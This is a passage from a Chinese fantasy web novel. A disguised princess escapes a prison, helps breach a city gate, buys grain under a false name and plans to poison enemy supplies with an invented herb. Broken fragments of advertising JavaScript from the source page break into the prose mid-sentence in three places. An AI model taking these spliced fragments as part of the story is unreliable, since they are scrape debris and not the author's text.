用铁丝撬锁,还是师傅瞒着父皇,偷偷教她的。 见众人皆将目光放在地上,她悄悄动作起来。 “把人给朕带下去!”上方齐琏黑了脸,猛地将荀观推至一旁。 “咔哒。”细微一声,锁链已被打开。 “再多调一师至城门处,你亲自带着去,如今我们手上少了筹码,可不得让他们占了上风!” 齐琏朝秦斯尘交代完,也不顾这残局,带人先行离去。 地上七零八乱地散着被迷晕的兵卒,秦斯尘交代剩余几人清理一番,便也离去。 刚刚还是百兵围堵,如今只剩不到十人。 枝南趁此机会,快步朝前,又撬开了牢门。 “也不知皇上同将军布的什么局,那南知人也真是个狡猾的……” “你听刚那话头,城门处该是有异样,不过啊——”那士兵将台阶上的人拖上平地,又略微压低了嗓音,“我一个弟兄昨日便被调去埋伏了,如今怕是早已得胜了。” “咱就说,那娘儿们带出的兵能有几个顶事的!” 枝南靠在墙角,缓缓蹲下,拾起把佩刀。 “不过,现今牢里那位,当真有几分厉害。” “嘘——那位啊,怕是皇上枕边人,没见着上完擂台第二日便入了帐嘛,皇上喜欢烈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 性子的,上擂台的弟兄们都让着呢!” “那还叫这么多人来守她,还怕跑了不成。” “我先前瞥着一眼,都锁在里面了,捆得还挺严实。” “哪有那么夸张!” 一人收拾着,先下了台阶,将人扶起:“老孙这还磕着头了,得找个人来包扎下啊。” “好嘞!” 话音刚落,一把利刃骤然刺出,直插心脏。 那人半点声响也未发出,便匆匆咽了气。 枝南将人拖到拐角处,三下五除二便扒了其盔甲铁衣,迅速穿戴好,默默蹲守墙角。 “你个孬种,怎么磨蹭了半天还没拖上来?” 上头又下来个虎膀圆腰的汉子,呼哧呼哧地喘着粗气,见着枝南的背影,颇为不耐烦:“搁这蹲着干啥呀,活也不干,净知道偷懒!” 枝南缓缓站起身来,头盔快遮了眼睛,头上那人根本瞧不清,只絮絮叨叨:“赶紧的,帮你一块儿抬上去。” 她用力抓住佩刀,“刺啦”一声,一击毙命。 枝南陆陆续续解决了三四人,待他们反应过来,已然不敌,见血封喉。 她顺着记忆,匆匆朝府门外行去。 “站住!” 她猛然驻足,握紧腰间染血的佩刀,迟疑着回了头,垂首相待。 “哪儿来的,做什么去?” “小人乃梧城府兵,都督派来寻秦将军指示。” 她压低嗓音,手指虚虚按着刀柄,盯着眼前人的粗粝的双手。 “秦将军已带人去了城门,此刻应同你们都督会见了,这正缺人呢,你若无事,便同他们一齐运趟粮?” 运粮?看来此仗未能如愿,速战速决。 于南知而言,是久拖不得的。 毕竟临武帝什么时候从背后刺一刀,可说不清楚。 “任凭大人差遣。” 17. 上药 梧城西北的火蹿出几丈高,赤红红地染了半片天,烟尘直上九霄,吞噬着月亮。 “怎么回事?”秦斯尘盯着城门下孤军奋战的身影,“粮仓那儿守了那么多人,都是吃干饭的吗!” 底下人第一次见秦将军发这么大的火,纷纷埋头,不敢出声。 “那周玉阳身边的人死全了,她自己还中了箭,怎么着也得把人给我抓住了!”秦斯尘摩挲着手中细细的翠玉珠,“外门已破,把闸门给守好了!” “林余,从营里再带两队兵去,赶紧灭火!” 他思忖一二,又想到些什么:“刘禀,你再调些人把府里守好了,护好皇上,还有——” “看看地牢里的枝南,如何了。” 周玉阳背靠闸门,死死咬着牙,抓起箭身,狠命朝外拔出,牵出一线血肉连丝。 痛,很痛,似乎骨髓都要被锋利的箭尖拉扯出来。她想喊,想骂,可她根本发不出一丝声音,喉咙里全是火燎火燎的灼热,漫出铁锈的血腥味儿。 肩上留下一个黑洞洞的窟窿。她啐出一口血沫,将箭插在内门上。 眼前的兵没了一波又来一波,像是烧不灭的野草,后面乌泱泱一大片,风吹来直弯了腰身,张牙舞爪朝她扑来。 身后身侧都是她的下属,她的战友,她的家人,冷冰冰地躺在那儿,未能瞑目的双眼盯着昏惨惨的夜空。她一后退,便能触着他们的尸身。 闸门是蛮力打不开的,城内他们早有准备,外边一次次云梯攻城,也不过是消耗兵力罢了。 身后还有那么多人在等着她,城里也还关着她的徒弟。 她还得再冲上去,试一试。 一把剑划破苍穹,一个伶人奔上城墙。她点脚飞身,踩上敌人的头颅,踢着轻盈的步子,步步生红莲。 秦斯尘收起玉珠,提剑迎上。 “周将军,别白费力气了。” 周玉阳冷笑一声,侧身闪过,试图避开秦斯尘,但仍被他拦住了。 二人交手,难分伯仲。 周玉阳身负重伤,颇为吃力,隐隐落了下风。 身后又冲上几个喽啰,她抬脚踹开,眼中却忽现一抹亮色。 烟火弥漫处,雪白的巨型狐狸狂奔而来,月色为其镀上银白的圣光。狐狸背上趴着一人,更似天神下凡。她朝她伸出手,一把将人捞了上去。 “师傅!” 枝南喜色难掩,攥紧了周玉阳。身后的兵士皆被这巨物吓晃了神,一时间无人上前阻拦。 “闸门。” 情况危急,周玉阳来不及叙旧,直指重点。 “坐稳了!” 谢泽扬起爪子,撞开成群的士兵,冲上城墙,背上二人挥剑砍向冲上来的头颅,直直奔向闸门机关处。 雪白的狐狸跃出城墙,矫健的身影掠过月亮。 枝南瞅准时机,扣住机关,用力一推。 闸门訇然上升,现出城外等候多时的军队。 梧城已破。 秦斯尘盯着狐狸上的女子,抿了抿唇。 “枝南。” 齐蜀虽反应及时,迅速撤离,但仍损失惨重。 但这已与枝南无关。 师傅伤得很重,闸门开后,瞬间晕了过去。 数百上千的人围剿,她还能撑着出来,已是奇迹了。 她将人暂时安置在齐琏住过的府邸中。 军医已在房内瞧了多时,几个临时喊来帮忙的小兵进进出出,手上的纱布皆厚厚地渗着血。 枝南立于屋外树影下,远远瞧着房内摇曳的灯火。 “她是少数真心待我的人。” 主帅深陷敌营,兵将才会誓死一搏。 枝南在摸摸谢泽,他已化为一只普通的小狐狸,却罕见地少言。 “怎么?” 枝南轻轻将他抱起,惊觉一丝不对劲。 “血?怎么,你竟也受伤了?” 谢泽的狐狸腿上许多大大小小的伤痕,深倒是不深,看起来却是触目惊心。 “嗯。”他淡淡应了一句,语气却有些别扭。 “我带你去寻大夫。” 枝南正欲唤军医,却突然想起些什么,顿住脚步。 “你这……该寻军医,还是——兽医呀?” 其实……这种皮肉伤,若是她,涂个金疮药便能治治了,只是谢泽到底是为她受的伤,如此敷衍,她也过意不去。 只是这话到底不太好听,谢泽气得耳朵都竖了起来:“军医,当然是军医!” 枝南尴尬地揉揉他的脑袋,又被他躲了过去。她无奈,这下真得罪人了。 “要不,你先化个人形?” 军医提着药箱出了房门。 “请问将军如何了?” “姑娘不必担心,箭伤都已清理完毕,日后好好养着便是了,只是将军今夜精疲力竭,恐怕明日才能醒来。” 枝南点点头,见军医正欲离去,忙又拦住。 “可否烦劳您再看看这位兄弟的伤?” 她拉过谢泽,军医查看一番,笑着打量打量二人,从箱中掏出金疮药:“无事,无事,一些皮肉伤,涂个五六日就好了。” 枝南接过药,交给谢泽。 “诶,她这伤,您也给瞧瞧吧。” 军医诧异地看了看枝南:“敢问这位姑娘,何处伤着了呀?” “右臂,还硬生生提了整夜的刀。” 枝南挑了挑眉,看向谢泽。 这伤也就割肉时疼得很,久了倒也习惯了。她自以为藏得很好,只是没想到军医都没瞧出来,竟被他察觉到了。 谢泽……好像也会些医术? “也是皮肉伤罢了,就着金疮药一起涂涂便好,您先去忙别的吧。” 军医今夜定然忙得很,她也犯不着为这点事耽误人家。 谢泽沉默地看着人远走,掀开她的袖子。 莹白的肌肤上现出一块血窟窿。 “皮肉伤?”他撩起眼皮,琥珀色的瞳孔直勾勾盯着枝南,莫名让她有些心虚。 “又未曾伤及筋骨,可不就是皮肉伤吗。” 她偷偷摸摸地收回手臂,却又被谢泽猛地扣住手腕。 他打开瓶塞,微垂着眸,细细洒上药粉。 柔软的月光染了睫毛,又被一对琥珀石锁住。 月色泛波、荡漾,却总晕不开这双瞳孔。 谢泽的手很暖。枝南慌忙移开目光,看向自己的伤口。 她向来冷静自持,却被眼前人的关心给乱了分寸。 她不自在地扭了扭手。 “别乱动。” “疼。” 她胡乱找了个借口,低下头去,避过谢泽的视线。 其实于她而言,这点疼基本就是挠痒痒罢了。 “疼就对了,你也知道疼,让你逞强。” 他嘴上不饶人,动作却肉眼可见地又轻了不少。 这下连挠痒痒的感觉都没了。 敷完药粉,谢泽不知从何处又顺了纱布,替她细细包上。 修长的手指圈着手臂,指尖跳舞似地携着纱布,偶尔轻轻触一下皮肤,像是蜻蜓在湖面点了水。 泛起一圈淡淡的涟漪。 枝南觉得怪怪的,待他包扎完,迅速抽回手臂。 “你的伤呢?需要我礼尚往来吗?” 她本是随口一问,怎料正中谢泽下怀。 “好啊。” 他好整以暇地将药瓶递给她,嘴上还故作不经意地嘱咐:“用左手就好。” “公主殿下!” 枝南正欲接过药瓶,身后却突然传来呼声。 “小人周晋,见过殿下!” 周晋……枝南想起些什么,这人是常伴着师傅的侍卫,曾还与她笔试一番。 “周大哥,好久不见,”枝南笑笑,“你这身手,早该来军中立一番功业。” “托殿下与将军的福,小人现任德武军校尉,”他直起身子,笑着挠了挠头,“那边的厢房已经收拾出来了,殿下先去歇息会儿吧,将军醒了我再遣人去知会您。” “砰!”地上骤然碎了个瓷瓶,药粉散落一地,枝南反应过来,心下突突直跳。 谢泽仍维持着递药瓶的姿势,刚刚逗趣儿的表情却瞬间消失地无影无踪,眼神淡淡地飘忽在虚空,似乎隐隐生出些怒气。 “真不好意思,”枝南试探着伸手晃了晃,“其实我姓叶,叫叶之南。” 谢泽这下是彻底气着了。 他以十成真心道出自己的身份,换来的却是对方赤裸裸的欺骗。 亏他还赶了整日的路,就怕她出现不测。 叶之南将气鼓鼓的小狐狸带回厢房内,又托周晋重新取了瓶金疮药。 “谢泽,上药。”不知怎地,她今日说话莫名没有底气。 当初隐瞒身份时,二人尚且交情不深,有些防人之心也不为过,她也未曾完完全全信了谢泽的话。 谁料如今便已是生死之交。 谢泽臭着张脸,冷冰冰地伸出胳膊。 叶之南小心翼翼地上着药,丝毫没看见对面人越想越气,已经气得脸红鼻子歪了。 “来,翻一下手臂,看看下面。” 那只伤痕交错的手臂动也不动。 叶之南好着脾气,轻轻捏起手,默默翻了过来,继续上药,手下力度却未撒匀,骤然落下一大片药粉。 “你干什么!” 谢泽猛地抬手,正正撞到叶之南的脸,他下意识收回去,低头去看对方,对方却捂着脸,脸色骤然冷了下来。 “这药你爱上不上!” “好啊,”谢泽被她这话气得冒烟,也放了狠话,“谁稀罕你这个骗子来上药!真当我是能随便耍随便骗的!” 碰着一下而已,有什么大不了的,割了块肉还能笑着说没事儿,这就借着题给他下脸子了! “果然,公主就是不一样。” 他一阵阴阳怪气,转身出了门,狠狠一摔。 周晋还在门外守着,见二人突然争吵,谢泽又摔门而出,忙进去看叶之南。 等着关心她的人多着呢!谢泽愤愤地想着,化作狐狸,跳上一旁的树枝。 叶之南捂着眼睛,刚刚谢泽那一撞,药粉多撞进眼里去了,此刻正火辣辣地疼。 她又不是他的什么人,这等乱世,尔虞我诈,本就正常,他何必那么耿耿于怀。 “殿下,怎么了?” “殿下~,怎么了~”谢泽蹲在树枝上,撅着嘴小声重复。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>周晋奔入房内,见叶之南捂着眼睛,忙蹲下查看。 “金疮药入眼了。”叶之南泪水止不住地往下流,眼睛疼得很。 谢泽闻言,瞬间闭了嘴,心下泛起些悔意。 他轻轻伸了伸爪子,想要跳到厢房内,却见周晋凑近叶之南,似乎还轻轻吹了吹。 太近了!这人怎么这么没分寸! 他心里一边骂着,一边又将那只毛茸茸的爪子缩了回来。 叶之南现在恐怕烦他烦得很。 “怎么样,好些没?” 谢泽恶毒地窥视着二人的一举一动。 叶之南轻轻点头,又摇了摇头,泪水还是止不住地流。 光是吹哪有用?药粉早就融进眼泪中了,这男的还当自己是个娘亲怀里吃奶的娃娃呢,用这种幼稚的手法! “您等等,我去将军医寻来。” “不必了,”她拦住周晋,“弄些清水就好。” 真是蠢笨如猪,连清水都还需要别人提醒。 周晋打了水来,却见谢泽忽然又出现在房内。 我来吧。他做了个口型,伸手去接水盆。 对面抓盆抓得还挺牢的,拽半天才松手。 他轻手轻脚地走到叶之南身边,捧着她的脸,慢慢引着人俯下身去。 叶之南感到“周晋”轻轻挪开她的手,朝眼皮上柔柔地淋了些水。 她配合着微微睁了眼,眼前是模模糊糊的一双手,一遍又一遍地清洗着药粉。那火辣辣的不适感这才逐渐减弱。 她抬起脸来,突然与谢泽贴得极近。 谢泽骤然屏住呼吸,却又见对方黑了脸。 叶之南不作声,自顾自地朝榻边走去。 她也自觉失言,但到底拉不下脸。 “怎么,不是你的周大哥,失望了?” 谢泽刚说出口,立马后悔了,他现在只想将自己咬死在这儿。 “幼稚。” 叶之南随口将人怼了回去,但到底缓了气氛。 谢泽见好就收,抓起金疮药,屁颠屁颠地跑到她身旁,将药放下,可怜巴巴地伸出爪子。 叶之南瞥他一眼,也没动作。 他只好自己上药,故意笨手笨脚的,药粉落了满床。 “啧。”叶之南终于看不下去了,拿过药瓶,重新上了药。 定是被这小子作的,睡梦里都满是金疮药味儿。 翌日,叶之南醒得很早,见谢泽还在睡梦中,便先行探望了师傅。 周玉阳仍在睡梦中,额上起了好些汗。 叶之南替她细细擦掉,又听见她的梦呓。 “阿水……” 她垂下眸,攥着手帕的手微微顿了顿。 阿水是她母亲。 宋文溪先天不足,幼年大家都唤其为“阿水”。 八周岁时,她病情恶化,幸得一道士点化,要其远离皇城,朝南方去。 恰逢周家女儿周玉阳前往南方游历,宋父宋母便狠下心来,让人同周玉阳一齐走了。 离了南都,宋文溪确是日渐好转,时时寄信回来,字里行间皆是勃勃生机。 后来,圣上一纸婚书,赐婚宋文溪于太子。 然后,他们便成了她的母后与父皇。 “阿南?” 周玉阳轻轻拍了拍她的脸,拉回其思绪。 “师傅,”叶之南回过神来,“感觉如何?可还有不适之处?” 周玉阳摇摇头,撑起身子,指了指一旁的茶壶。 叶之南忙倒了杯茶水。 “师傅,如今怕是得带些兵回莞城,那老贼与齐蜀里应外合,怕是会调虎离山。” 周玉阳微微笑着,柔和地看着她,她细细听完叶之南的话,轻轻拍了拍她的肩。 “阿南,你长大了,叶之淮也长大了。” “他如今是统管一方的昭王,未来还会登上那九五之尊的位置,”周玉阳缓缓呼出一口气,“他是初升的红日,而那临武老贼,已是薄暮了,你可信他——能拿下这一局?” 叶之南沉默了,她总觉得师傅话里有话,却不愿再深想,只微微点了头。 “我自然是信的,阿淮长大了,只不过做姐姐的,到底有些担心。” “不要再说这种话了,”周玉阳轻轻捏住了她的手,“多的是人为他担心,你总得先顾着自己。” 叶之南的心骤然沉了下去,她抿了抿唇,反握住师傅的手。 “明白了。” “周晋!”周玉阳将门外人唤进屋来,“去将那把剑取来。” “上次见你时,你还只十一岁,剑都短了,我寻了块好铁,特意找名匠铸了把剑,你瞧瞧,还未曾起名呢。” 周晋将剑捧了上来,二尺长,银白色,鞘上镌着疏落的梅花,柄上镶了颗鸽血红,阳光下闪着幽暗的光泽。 “母后为我缝衣做钗,也总爱镶些玉石。” 她摸了摸剑柄,“嗖”的一声,拔剑出鞘。 剑尖倏然滑向她的脖颈,周晋惊得伸手去拦,那剑却又在毫厘之间停了下来,剑尖丝毫不晃。 一缕青丝飘然滑落。 “好剑!” 叶之南将其插入剑鞘。 “既已有梅花,便作‘停梅’二字吧。” 18. 买粮 “还未问你,那只狐狸,是什么来头?” “枫禾谢家的。”叶之南收下停梅,目送周晋离去,远远见不着背影,方才开口。 “妖?” “师傅如何得知?” “遇着过,”周玉阳揉了揉额角,“世间之大,无奇不有,只是——这些年,你如何同他们交好了?” 她问的并非谢泽,问的是叶之南这么多年的流离与漂泊。 叶之南犹豫一二,草草带过一些不愉快的经历,将其全盘托出。 “是师傅不好,当年走得太早。” “是师傅将我带回来的。” 她抬脸,笑盈盈地望向周玉阳,递上一只削得干干净净的梨。 “将军!捷报!今日寅时,逆贼进攻金州,忠武将军率军奋勇抗敌,我军大胜!” 叶之南骤然松了紧捏梨头的手。 这忠武将军,便是叶之南的舅舅,先皇后宋文溪的亲哥哥,宋文玉。 名字文气,本以为是个考科举的好料子,但最后却走了与宋家截然相反的路子。 但也因此才留下棵生在外头的苗。 “将军!”众人正松了口气,一斥候忽又上报,“齐蜀人数不对。” “怎么?” “远观其撤退人数,加以城内尸首,恐仅有情报所得之半数。” 这情报,自然便是叶之南所传。她亲眼所见,三万之数,不可能有误。 那还有的一万五千人去哪了? 她对上周玉阳的视线,两人皆是一阵心惊。 调虎离山! 齐琏可还真舍得下血本! 比起榆城,梧城距东北府更有一段距离。 叶之淮将兵力调了部分过来,就是仗着只需守城,抵抗临武帝的进攻罢了。 但倘若有一万五千人,趁其战后力竭,此刻偷袭呢? “周晋。” “属下在!” “传信昭王、忠武将军,立即整兵,援金州!” 周玉阳强撑着起身,却又被叶之南轻轻按了下去。 “齐蜀粮草被烧了大半,如今正是急着筹粮呢,临武帝哪里又养得起这波人呢?” 周玉阳抬头看着她的徒弟,曾经粉雕玉琢的脸蛋,如今出落得却是一番凌厉冷静。 那双微微带些天真与不服输的眼睛,只剩下盈满的韧劲与决绝。 “只要舅舅能守住一段时日,对方自然不攻而破。” “话虽如此,但齐蜀筹粮,也并非难事。” “若要筹到如此之多的粮草,只有那几家商户可办到。” “齐都李氏、云州吴氏、玉川钱氏。” 齐都李氏有一脉于朝中做官,乃当今吏部尚书李隋,而旁支的李准之所以能兴一脉商贾之业,想来不知仰仗了多少兄长的势力。 这也是齐琏最容易搭上的线。 而后两者势力虽比不上李氏,但若合起伙来,也并非吃不下这笔单子。 周玉阳瞬间明白了她的意思,沉思半刻,问道:“你想截哪家?” “后两家。” 仗着李隋在朝中的关系,先前那些粮草,恐大半都是李氏承包的。 哪怕只是一脉商贾,齐琏能看着他们一家独大吗? 况且李家势力多集中于北部,如今他们也等不得那么长时日。 “师傅,”叶之南扫了眼底下人,“昨夜扮作你的那人,可是会易容之术?” 周玉阳点头。 “只他那易容之术,一次仅能撑十二个时辰,且脸上碰不得水。” “让他随我,再走趟齐蜀吧。” 周玉阳抬眼,望向叶之南身后。 “你那小精怪来了。” 叶之南回眸,瞧见谢泽定定站在门外。 “进来吧,愣在那儿做什么。” “你如今回齐蜀,太危险了。” 谢泽没有进屋,只遥遥望着叶之南。 “只能我去,”她垂眸,看向槛外,“只我,对那儿再熟悉不过。” “吴家的弱点,钱氏的喜好,齐蜀人喜欢怎样的交易,这儿,有谁还能比我更明了呢?” 谢泽沉默,他明白她的能力,也明白她是最合适不过的人选,可…… 他莫名不愿她去以身涉险。 他看过她听墙角时的谨慎细致,瞧过她将追兵甩在身后的意气风发,也见过她擂台上一扫众人的高超武艺,孤身敌营放火的胆谋与气魄。 他似乎没有理由不相信,她能做到任何事情。 其实他是相信的,他一直都很相信。 只是他也亲眼见过她毒发的痛苦,心死的哀痛,擂台上发抖的左手,受了伤还咬牙提着的刀…… 他知道自己左右不了她什么。 “我同你一道。” “枫禾的将士,不日也要动身了。” 他提起月白的衣摆,跨进门槛,走至叶之南身侧。 周玉阳沉默半晌。她也不愿叶之南再到那儿去,只是安危之言,是劝不动她这个徒弟的。 如今多个精怪傍身,也是好事。 “荀观先生如何了?” 叶之南易了容,带着几人重新混进了槿城。 吴禄死后,吴家长子吴襄带人接手了他的烂摊子。 从槿城过的这支线也归到了他手下。 如今吴家老太爷不怎么管事,已经慢慢放权给他这个儿子了。 听闻,此时吴襄又歇在了槿城。 “吴公子,”谢泽带着几人入了吴府,瞧着座上那男子,“刘某乃枫禾人士,此番前来,是想同您谈一笔生意。” “刘家兄弟,我这四方走货,也不知何处能搭上您的生意。” 吴襄灌了一大口茶水。他昨日刚带着货入了槿城,这人今日便扣了宅门。刘姓……这姓刘的,他也未曾听闻。 若不是今日回宅恰恰被堵住,他也懒得为这一星半点的蝇头小利费神。 “五千石大米。” 吴襄眼皮一跳,忙放下茶杯:“五千石?您这是准备作甚,要得了这么多?” 五千石可不是小数目,况且枫禾平原广阔,又向来风调雨顺,根本不缺粮。 运去倒卖,价钱也压不过本土的大米。 “南知西北府,不知闹了多久灾了,又是匪患丛生,如今正缺粮呢,”谢泽转着手中的茶杯,余光瞥见小厮装扮的叶之南,“槿城到底近些,我从吴兄这将粮食运过去,抬高米价,不得大赚一笔!” “可这五千石,未免太多了……况且南知齐蜀正打着呢,这怎么运得出城?” “我这自有计策,况且齐蜀打的是东北府,同南知这西北又有什么干系呢?吴兄还得将胆子放开些,如今生意可不好做,若不赌一把,哪来的万贯家财呢!” “只……我这一时半会儿也筹不出五千石。” “诶,您这有多少,刘某我就拿多少,”谢泽悄悄压低声音,“实不相瞒,我这做生意的钱也是借的,就盼着尽快挣上还回去,到月底,又得被催债了。” “好好好,刘老弟,这咱心里都有数,我这粗略算算,也只能给你提供这个数,”吴襄竖起三根 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手指头,“这价钱嘛,给你算一两五银子一石,如何?” “一两五?”谢泽摇摇头,“我这给您过个两三百石,不也是这个价?若是这般,我还特意跑您这来作甚么?” 吴襄脸上挂着笑,却笑不至眼底。一两五确是平日里进米的价,对面这人看上去也不是个常做生意的,到底还留着商谈的余地嘛…… “刘老弟,不急不急,咱用个午膳,慢慢谈——” “这怎么慢得了,哎,吴兄啊,我这不都说了嘛,急着将生意做了还债嘛,您这怎么还耽误事儿呢!” “这一两五也是诚心价了,看你急用,给你减到一两四,你看怎么样!” “你这,”谢泽故作生气,“实话实说,我这还遣人去了玉川……” “诶哟,老弟啊,都有的谈有的谈,我这先带你去仓库看看货如何?” 几人起身出了大厅,叶之南紧跟上去,轻轻捏住谢泽的手指。 谢泽感应到,面上谈笑风生,一面又张开了手掌。 叶之南用手指,在上面迅速写下一个字。 他感受着,末了,将两只手穿插着,摆成小狗的姿势,重重点了点狗头。 叶之南轻轻拍了拍狗头,谢泽连忙收回手。 “刘老弟,你看,我这囤的,都是好米。” 谢泽随意应付几句,转而问道:“听闻吴老兄您这还有各种药材?” “是,”吴襄突然带上些警觉,“这些年也做了点。” “我啊,娶了个媳妇儿,之前生娃落下了病根,一年到头都得抱着药罐子,您这既然有药材,我便一齐到您这儿再买点。” “弟媳的事儿哪说得上买,你这要些什么,我派人取来就是了。” “我这也不记得了,诶,阿南,平日夫人吃的药你也煎过几回,要不你跟着去看看有什么需要的,咱买些回来?我再同吴兄谈谈价钱的事儿。” 吴襄压根没想着带人去药材库,一下子被谢泽给截了话头,只得干笑两声,让人给叶之南带过去。 药材那边,一般是不放外人进去的,但有人看着,应该也出不了什么差池。 叶之南随一小厮进了库房,四处转转,也抓了几把药。 “诶,那是——” 她指向几筐被布盖得严严实实的东西,鼻尖从众多药材中嗅到一股奇怪的味道。 “那是别人订好的了。” “能瞧瞧吗?说不准对我家娘子的病有用呢。” “都是包好的,瞧不了,况且也已经没货了。” “这样,”她若有所思地点点头,“那半夏还有吗?喔,还得要点儿老人参。” “有的有的,我给您寻寻。” 叶之南假装一同寻药材,身子却神不知鬼不觉地靠向那几篓药材,弄开顶上那白布,将东西抓了几大把。 “诶,寻着了,都给您称半两如何?” “拿一两吧,我们也不要你吴少爷送的,家里娘子吃得多,买个几年的存存。” 两人鼓捣半天,总算弄齐了药材,再回去时,那两人也谈好了价钱。 “明日运……还是?” “今日便走吧,吴公子,这银子都给您抬府上了,您清点好!” 几十个弟兄将大米装了车,饭也不留下来吃,便忙着运走了。 “这般急匆匆的,公子,您不觉着奇怪吗?” 吴襄瞧着渐行渐远的车队,眼中露出几分狡黠。 “那又如何,卖便卖了,得了银子才是正经事儿,其他的,我们一概不知,同我们又有什么关系!” 19. 流愫 叶之南同车队押着粮草,手中把玩着那药房里寻来的玩意儿。 青绿的草叶,米白的果子。 这便是当时银柳所中之“药”。 能害人是必然的,只是不知该如何用药。 “这种东西,拿它做什么?” 谢泽骑着马,靠至叶之南身侧,探头却瞧见这玩意儿,他伸手欲夺,却被她躲了去。 “怎么,你认识?” “此物乃绛芸草,虽说是药材,但实然也是毒,这果实,磨制成粉状,无色无味,若微量则只是致幻助兴,多了便是脏腑发麻发痛,重则足以置人于死地。” “况且这东西,服用两次三次便罢,若是长年累月服用个七八次……” “有几成可能会被查出?” “这玩意儿本就难发现,况且吴家都能将东西运进来,想来齐蜀对此还未有几分了解。” 叶之南心有所想,忙将东西丢至草药袋中,又唤一旁伪装成小厮的士兵:“前头便是出城前最后一个村子了,让弟兄们歇歇脚,遣人去寻几个药碾子来。” 士兵应声退了下去,谢泽在旁若有所思,一会儿,又微微皱了眉。 “你这是要……” 叶之南淡淡瞥了他一眼,示意他闭嘴。 “这到底是缺德事……” “缺我的德,干你这大圣人何事?” 这人倒还劝起她行善来了,战场兵家,哪来的圣贤德行。 她拿到药碾子,让人将东西都磨成粉:“小心些,别入了口鼻。” 下面人应了声,她于一旁瞧了瞧,坐到歇脚的茶铺处。 一只手拎起茶壶,洋洋洒洒地倒满一杯茶。 叶之南抬眼,对上谢泽,对方拦过店小二替她倒满了茶水,嘴里也不闲着:“缺德事就缺德事,也没说干不得,发什么脾气。” 闻言,她撩起眼皮,颇有些讶然。 这小子,自前些日子闹过脾气后,倒也是顺心许多。 “你懂医?” “自然,我们狐族,多多少少都会一些,像那些药草,常年混迹山中,七七八八也认得全。” 叶之南自那夜他为她把脉之时便瞧出来了,如今也只不过再确认一番。 “医术如何?” “比我娘差些,但比起这世间庸医,倒是好了不少。” 谢泽趴在桌上,摇晃着脑袋,狐狸眼中透出些得意。 “那我身上这毒……” 路边骤然驶过一驾马车,扬起些许尘土,扑了满面。叶之南眯眼,从那浮动的帘栊中,对上一双清清冷冷的黑瞳。 那眸子冷冰冰的,叶之南迅速转过头,故作自然地拿起茶杯,抿了口茶水。 流愫! 谢泽觉出几分不对劲,将小二唤来,点了屉包子,不动声色地瞟向那马车。 “走远了。” 叶之南放下茶杯,压低声音:“我先行一步,按原计划,在枫禾阳城汇合,若有人追上,你便将那绛芸草用上。” “可派要些人护着?” “不必,尽快把这米运回去,能多添些粮草,也是好的,”她又看了眼身后,马车早已无影,但流愫可走不远,“这儿离阳城不远,出了关,她们总不能再寻我。” “那你——” “我先走了,保重!”叶之南拿起桌上的停梅,翻身上马。 齐琏遣来收粮的兵马还未到,十二重不可能得到了她的消息。 而她此刻又易了容,不应被认出。 多是香蛊引来从香蝶的缘故。 她们既不知自己如今已然离了齐蜀,那也并非不能再演上一演。 叶之南策马狂奔,离阳城仅剩数十里时,身后骤现马蹄声。 “姐姐!”她勒马停住,调转马头,一把撕下面上的人皮面具。 流愫换了匹马,素衣映着棕褐的马背,被晚风一吹,翩翩浮起。 叶之南鲜少见着流愫骑马。 流愫是十二重里最听话的,她仅比叶之南早到地下三个月,却比她早出了三年。 她没什么天赋,琴棋书画还勉强有些底子,但起初一两个月,连刀剑也举不起来。 有些姑娘,诸如叶之南,胆子大得很,总是谋划着逃跑,一次不成还有二次;有些姑娘,在地底失了生气,被鞭子抽时才像个人,喊叫着提起刀剑;可流愫,是那种日日夜夜勤着练琴棋,舞刀剑,剑法实在不行,便求着秦斯尘学些轻便的暗器,像是学堂里求知若渴的学子。 叶之南见她颇得秦斯尘信任,曾私下拉拢她,用尽法子,都得不到她的亲睐,直到某一天,给她折了只纸兔子。 她笨手笨脚,折得仅有三分相似,却被流愫收了起来。 本以为这般便有了突破口,谁料她折了好几只,把兔子折得有七分相似了,却在偷从香蝶时被流愫告了密。 之后,叶之南便老实了,她明白身边的这些姐妹也是眼线,是敌人。 她只能收起自己异想天开的逃跑计划,默默筹谋着更大的棋局。 而这个人,遵守着十二重的一切规矩,后来,也理所当然地成为那规矩的维护者。 直到银柳死去。 “怎么回来了?” 流愫握着缰绳,看着她,目光却又似穿过她,望向镜面一般的虚空。 “上面有任务。” 叶之南回答得言简意赅,十二重向来不会透露自己的任务,流愫也不会问。 “回来做什么呢?” 夕阳静静地洒下毫无温度的阳光,默默熏染棕色的鬣毛,她伸手轻轻抚了抚,神色眷恋地望着身下的马儿。 “流愫姐姐,还恕我,不便透露。” 叶之南轻轻皱眉。 今日的流愫很不对劲。 又吹过一阵晚风,野草摇动着腰肢,田野间青青绿绿的一大片,晃走了暖黄的暮光。 草丛中隐隐伏着几个身影。 叶之南收回目光,默默握紧了腰间的停梅。 流愫没有再说话,她缓缓抬起头,死水般的双眸呆滞地望向叶之南,素色的衣袖猛然抬起。 “唰!” 叶之南俯身欲躲,却发现流愫射偏了暗器。 或许,不是射偏。 身后传来短促的叫声,紧接着便有人倒地。 无风,但野草骤然乱了起来。 四周猛然蹿出七八个人影,却不见她们胸有成竹,倒是多了几分慌乱。 叶之南不知自己何时暴露,竟引得芜深派了这么多人来。 她跃上马背,拔剑出鞘,冷冽的寒光劈断暖黄的光束,却骤然失了用武之地。 流愫一个飞身,挡在她身前。 “流愫!你疯了!” 眼前人大声质问着,叶之南同样看向身前的背影。 这些提剑相向的人,都是昔日卖笑场中相依为命的姐妹。 “我没疯,”流愫握着手中的暗器,“我只是觉着,如今已然了无意义。” 她足尖点过地面,飞身上前,宽大的衣袂恍若蝴蝶翩跹,一根根钢针飞出,暴雨猛砸,却正好避开了要害,只将人死死定在原地。 有人冲上前来,一剑砍来,叶之南举起停梅,从侧面挡住剑刃,手臂一用力,将人掀翻过去。 身后又有脚步奔来,伴着钢刀的锃锃声,她滚过草地,提剑相迎,那人却又倏然被飞来的钢针迎面刺中,直挺挺地倒了下去。 叶之南又对上流愫的眼睛。 那眼中映不出天光,越来越黯淡。 她又看不透她了。 “枝南——”她轻轻唤了一声,不远处却突然刺来支利箭。 远处竟还埋伏着一人! 